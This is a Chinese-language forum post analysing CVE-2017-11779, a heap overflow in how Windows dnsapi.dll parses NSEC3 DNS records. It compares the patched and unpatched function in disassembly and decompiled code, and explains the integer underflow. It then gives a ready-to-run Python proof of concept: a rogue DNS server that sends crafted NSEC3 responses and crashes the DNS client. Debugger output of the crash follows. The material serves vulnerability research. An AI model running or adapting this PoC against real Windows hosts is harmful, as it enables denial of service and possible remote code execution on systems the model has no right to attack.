注册会员,学习更多最新技术!
您需要 登录 才可以下载或查看,没有帐号?点击注册
x
根据 Microsoft 2017 年 10 月安全通告,多个版本 Windows 中的 dnsapi.dll 在处理 DNS response 时可导致 SYSTEM 权限 RCE。 需要注意的是,不是 Windows 系统中所有 DNS 解析都有问题,比如 nslookup 并不解析 DNSSEC,所以没有问题,同时,也不是所有能触发漏洞的地方都能在 SYSTEM 权限下执行代码,只有通过 Dnscache(DNS Client) 服务解析 DNS 的地方才能成为 SYSTEM 权限 RCE 的攻击入口。 以 DNS Client API DLL 10.0.15063.0 与 10.0.15063.674 为例,补丁对比,
可知漏洞存在于 dnsapi.dll 中的 Nsec3_RecordRead 函数,那么可以确定问题就是出在解析 DNS response 的 NSEC3 Resource record,为了构造 PoC,先得了解这个 “NSEC3″ 的背景。首先,DNS 协议数据结构如下图所示,
例如,当访问 http://justanotherbuganalysis.github.io/ 时,DNS query 如下, - 9d 4b 01 00 00 01 00 00 00 00 00 00 16 6a 75 73 .K...........jus
- 74 61 6e 6f 74 68 65 72 62 75 67 61 6e 61 6c 79 tanotherbuganaly
- 73 69 73 06 67 69 74 68 75 62 02 69 6f 00 00 01 sis.github.io...
- 00 01 ..
复制代码DNS response 如下, - 9d 4b 81 80 00 01 00 02 00 00 00 00 16 6a 75 73 .K...........jus
- 74 61 6e 6f 74 68 65 72 62 75 67 61 6e 61 6c 79 tanotherbuganaly
- 73 69 73 06 67 69 74 68 75 62 02 69 6f 00 00 01 sis.github.io...
- 00 01 c0 0c 00 05 00 01 00 00 0e 10 00 1b 03 73 ...............s
- 6e 69 06 67 69 74 68 75 62 03 6d 61 70 06 66 61 ni.github.map.fa
- 73 74 6c 79 03 6e 65 74 00 c0 3e 00 01 00 01 00 stly.net..>.....
- 00 07 08 00 04 97 65 4d 93 ......eM.
复制代码可见该 DNS response 中的 Answer RRs 包含了 CNAME(0×05) 与 A(0×01) 两个 Resource record(RR),由于该域名所在的 Domain Zone 并未配置 DNSSEC,所以在 response 中并没有 Authority RRs 与 Additional RRs。后面为了把程序执行流引到 Nsec3_RecordRead 函数,触发漏洞,在 Authority RRs 中加入特定 NSEC3 记录即可。 再来看漏洞, - .text:0000000180066693 movzx ecx, ax
- .text:0000000180066696 xor edx, edx
- .text:0000000180066698 call Dns_AllocateRecordEx
- .text:000000018006669D mov r13, rax
- .text:00000001800666A0 test rax, rax
- .text:00000001800666A3 jz short loc_18006668C
- .text:00000001800666A5 mov al, [r14]
- .text:00000001800666A8 mov [r13+20h], al
- .text:00000001800666AC mov al, [r14+1]
- .text:00000001800666B0 mov [r13+21h], al
- .text:00000001800666B4 movzx ecx, word ptr [r14+2] ; netshort
- .text:00000001800666B9 call cs:__imp_ntohs
- .text:00000001800666BF mov [r13+22h], ax
- .text:00000001800666C4 lea rcx, [r13+28h] ; Dst
- .text:00000001800666C8 movzx esi, byte ptr [r14+4]
- .text:00000001800666CD add r14, 5
- .text:00000001800666D1 mov rdx, r14 ; Src --> NSEC3 RR Salt value
- .text:00000001800666D4 mov [r13+24h], sil
- .text:00000001800666D8 mov r8d, esi ; Size --> Salt length
- .text:00000001800666DB call memcpy_0 ; Overflow
- .text:00000001800666E0 add r14, rsi
- .text:00000001800666E3 lea rcx, [rsi+28h]
- .text:00000001800666E7 add rcx, r13 ; Dst
- .text:00000001800666EA movzx ebx, byte ptr [r14]
- .text:00000001800666EE inc r14
- .text:00000001800666F1 mov rdx, r14 ; Src --> Data in NSEC3 RR
- .text:00000001800666F4 mov [r13+25h], bl
- .text:00000001800666F8 mov r8d, ebx ; Size --> Hash length
- .text:00000001800666FB call memcpy_0 ; Overlow
- .text:0000000180066700 sub r15w, bx
- .text:0000000180066704 lea rcx, [rsi+28h]
- .text:0000000180066708 sub r15w, si
- .text:000000018006670C lea rdx, [rbx+r14] ; Src
- .text:0000000180066710 add rcx, rbx
- .text:0000000180066713 movzx r8d, r15w ; Size
- .text:0000000180066717 add rcx, r13 ; Dst
- .text:000000018006671A mov [r13+26h], r8w
- .text:000000018006671F call memcpy_0 ; Heap Overflow caused by Integer Overflow
- .text:0000000180066724 mov rax, r13
复制代码- _WORD *__fastcall Nsec3_RecordRead(__int64 a1, __int64 a2, __int64 a3, __int64 a4, unsigned __int64 a5)
- {
- __int16 v5; // ax
- __int64 v6; // r14
- DWORD v7; // ecx
- __int16 v9; // r15
- _WORD *v10; // rax
- _WORD *v11; // r13
- __int64 v12; // rsi
- char *v13; // r14
- char *v14; // r14
- __int64 v15; // rbx
- unsigned __int16 v16; // r15
- v5 = a4 + 6;
- v6 = a4;
- if ( a4 + 6 >= a5 )
- {
- if ( byte_180091A45 & 4 )
- WPP_SF_(46i64, &WPP_3905b13578e93036ce8b15be772e1375_Traceguids);
- v7 = 13;
- goto LABEL_5;
- }
- v9 = a5 - v5;
- if ( (unsigned int)(unsigned __int16)(a5 - v5) + 8 > 0xFFFF
- || (v10 = Dns_AllocateRecordEx((unsigned __int16)(v9 + 8), 0), (v11 = v10) == 0i64) )
- {
- v7 = 14;
- LABEL_5:
- SetLastError(v7);
- return 0i64;
- }
- *((_BYTE *)v10 + 32) = *(_BYTE *)v6;
- *((_BYTE *)v10 + 33) = *(_BYTE *)(v6 + 1);
- v10[17] = ntohs(*(_WORD *)(v6 + 2));
- v12 = *(unsigned __int8 *)(v6 + 4);
- v13 = (char *)(v6 + 5);
- *((_BYTE *)v11 + 36) = v12;
- memcpy_0(v11 + 20, v13, (unsigned int)v12);
- v14 = &v13[v12];
- v15 = (unsigned __int8)*v14++;
- *((_BYTE *)v11 + 37) = v15;
- memcpy_0((char *)v11 + v12 + 40, v14, (unsigned int)v15);
- v16 = v9 - v15 - v12; //Integer Overflow
- v11[19] = v16;
- memcpy_0((char *)v11 + v15 + v12 + 40, &v14[v15], v16);
- return v11;
- }
复制代码对于第一个 memcpy,通过调用 Dns_AllocateRecordEx 函数分配了 Dst 缓冲区,其大小取决于 NSEC3 RR 的 Data length 字段,Src 指向 NSEC3 RR 的 Salt value 字段,而 Size 则来自 Salt length 字段,都完全可控。 对于第二个 memcpy,同样的问题,只不过 Size 来自 Hash length 字段。 第三个 memcpy 操作之前,由于 v15, v12 皆可控,故可导致 unsigned __int16 v16 = v9 – v15 – v12 发生 Integer Underflow,进一步导致 memcpy 越界读写。 PoC 如下,
- import SocketServer
- import sys
- class Handler(SocketServer.BaseRequestHandler):
- def handle(self):
- socket = self.request[1]
- data = self.request[0].strip()
- response = data[:2]
- response += "81a30001000000060001".decode("hex")
- response += self.get_question(data)
- response += "20564c513234375149385031545433413843474d4437474c464e44544947534455c01100320001000000b3".decode("hex")
- response += "0033".decode("hex") # Data length
- response += "01000014".decode("hex")
- response += "ff".decode("hex") # Salt length
- response += "80637d8af055b5eeca2a621edaaa3c5e".decode("hex")
- response += "14".decode("hex") # Hash length
- response += "3d8a3eb61a9dfa951a42d7779c1f150685a01947000762018008000290c186002e0001000000b3011d00320a03000000b459fd6ea859d5d398794f057373686670036e6574000601e89304161294b0a21f3828a4c137c675cabaddeff8837fad9c553895b7bf9e2b21fc789786d1f3fb734e519a4662d453ea41fbcca87f9657608017a602639cc636a249d94f529bcc504e1823d0d59e446ed67b1e7a93ebd5f07db21e4f8e29150ff2454b34f5716be5b712640500e672b0eb81c5f03d6c4ea42effd282e842df4321b45a4c9f678c7996cd033b29ce1a13943856010eed3a6bd41880713be77e5459ded91199ec4b2b70543c6f00e20dd2cb1642424fb7be33731b1a2707ac8494d38638cbc1862bacad4824d8644aee4c835178ba4339524edf8e32cf9e63da0d6309c6a8187e6c7c181a99445a4cb799cab602359c22456a7db3d61809".decode("hex")
- response += "0000290200000080000000".decode("hex")
- print(response.encode("hex"))
- socket.sendto(response, self.client_address)
- def get_question(self, data):
- start_idx = 12
- end_idx = start_idx
- num_questions = (ord(data[4]) << 8) | ord(data[5])
- while num_questions > 0:
- while data[end_idx] != "\0":
- end_idx += ord(data[end_idx]) + 1
- end_idx += 5
- num_questions -= 1
- return data[start_idx:end_idx]
- if __name__ == "__main__":
- server = SocketServer.ThreadingUDPServer(("0.0.0.0", 53), Handler)
- print("CVE-2017-11779 PoC Started.")
- try:
- server.serve_forever()
- except KeyboardInterrupt:
- server.shutdown()
- sys.exit(0)
复制代码例如,触发第一个 memcpy 堆溢出,令 NSEC3 RR 的 Salt length = 255, - 0:006> r
- rax=0000000000000014 rbx=0000000000000001 rcx=0000027fd88f41f8
- rdx=0000027fd888e7c8 rsi=00000000000000ff rdi=0000000000000001
- rip=00007ffe5fd266db rsp=000000ddf9ffee30 rbp=000000ddf9ffef70
- r8=00000000000000ff r9=0000000000000000 r10=0000000000000000
- r11=00007ffe6425bf17 r12=0000027fd88f4850 r13=0000027fd88f41d0
- r14=0000027fd888e7c8 r15=0000027fd888002d
- iopl=0 nv up ei pl nz na pe nc
- cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
- DNSAPI!Nsec3_RecordRead+0xbb:
- 00007ffe`5fd266db e896d8fbff call DNSAPI!memcpy (00007ffe`5fce3f76)
- 0:006> db rdx
- 0000027f`d888e7c8 80 63 7d 8a f0 55 b5 ee-ca 2a 62 1e da aa 3c 5e .c}..U...*b...<^
- 0000027f`d888e7d8 14 3d 8a 3e b6 1a 9d fa-95 1a 42 d7 77 9c 1f 15 .=.>......B.w...
- 0000027f`d888e7e8 06 85 a0 19 47 00 07 62-01 80 08 00 02 90 c1 86 ....G..b........
- 0000027f`d888e7f8 00 2e 00 01 00 00 00 b3-01 1d 00 32 0a 03 00 00 ...........2....
- 0000027f`d888e808 00 b4 59 fd 6e a8 59 d5-d3 98 79 4f 05 73 73 68 ..Y.n.Y...yO.ssh
- 0000027f`d888e818 66 70 03 6e 65 74 00 06-01 e8 93 04 16 12 94 b0 fp.net..........
- 0000027f`d888e828 a2 1f 38 28 a4 c1 37 c6-75 ca ba dd ef f8 83 7f ..8(..7.u.......
- 0000027f`d888e838 ad 9c 55 38 95 b7 bf 9e-2b 21 fc 78 97 86 d1 f3 ..U8....+!.x....
复制代码最终, - 0:006> g
- (580.5e4): Access violation - code c0000005 (first chance)
- First chance exceptions are reported before any exception handling.
- This exception may be expected and handled.
- ntdll!memcpy+0x220:
- 00007ffe`6425bd20 f30f7f40f0 movdqu xmmword ptr [rax-10h],xmm0 ds:0000027f`d8904215=????????????????????????????????
- 0:006> k
- # Child-SP RetAddr Call Site
- 00 000000dd`f9ffee28 00007ffe`5fd26724 ntdll!memcpy+0x220
- 01 000000dd`f9ffee30 00007ffe`5fcef5e6 DNSAPI!Nsec3_RecordRead+0x104
- 02 000000dd`f9ffee70 00007ffe`5fcd6d3f DNSAPI!Dns_ParseMessage+0x20496
- 03 000000dd`f9fff360 00007ffe`5fcd6b33 DNSAPI!Send_AndRecvComplete+0x17f
- 04 000000dd`f9fff4e0 00007ffe`5fcd1fc1 DNSAPI!Send_AndRecvUdpComplete+0x333
- 05 000000dd`f9fff550 00007ffe`611a0320 DNSAPI!Recv_IoCompletionCallback+0x1f1
- 06 000000dd`f9fff5d0 00007ffe`641f3287 KERNELBASE!BasepTpIoCallback+0x50
- 07 000000dd`f9fff620 00007ffe`641f16e1 ntdll!TppIopExecuteCallback+0x127
- 08 000000dd`f9fff6a0 00007ffe`61722774 ntdll!TppWorkerThread+0x411
- 09 000000dd`f9fff9b0 00007ffe`64220d61 KERNEL32!BaseThreadInitThunk+0x14
- 0a 000000dd`f9fff9e0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
复制代码
|